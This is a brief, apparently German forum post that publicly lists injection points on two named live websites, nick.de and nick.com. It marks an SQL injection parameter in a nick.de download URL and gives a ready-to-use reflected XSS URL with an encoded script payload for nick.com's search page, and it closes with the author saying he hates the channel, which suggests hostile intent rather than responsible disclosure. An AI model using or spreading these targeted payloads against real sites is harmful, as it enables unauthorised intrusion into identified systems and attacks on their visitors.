XSS&SQLi Example on Nick.de

SQLi auf Nick.de :
http://www.nick.de/downloads/Nick-Wallpape...13.html?fid=377[SQLi]


XSS auf Nick.com : 

http://www.nick.com/search/?term=%3Cscript%3Ealert%28%27XSS%20by%20fred%27%29%3C/script%3E%27


~fred
PS: Ich hasse den Sender :D